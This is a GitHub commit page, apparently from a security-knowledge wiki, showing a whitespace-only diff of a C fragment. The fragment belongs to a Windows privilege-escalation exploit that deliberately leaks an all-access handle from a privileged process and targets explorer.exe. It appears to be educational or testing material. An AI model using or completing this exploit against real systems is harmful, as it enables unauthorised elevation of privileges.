Skip to content

Commit

Permalink
GitBook: [#3053] No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Mar 13, 2022
1 parent 9027707 commit 3a14232
Showing 1 changed file with 5 additions and 5 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -55,15 +55,15 @@ int FindTarget(const char *procname) {

int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
Expand Down

0 comments on commit 3a14232

Please sign in to comment.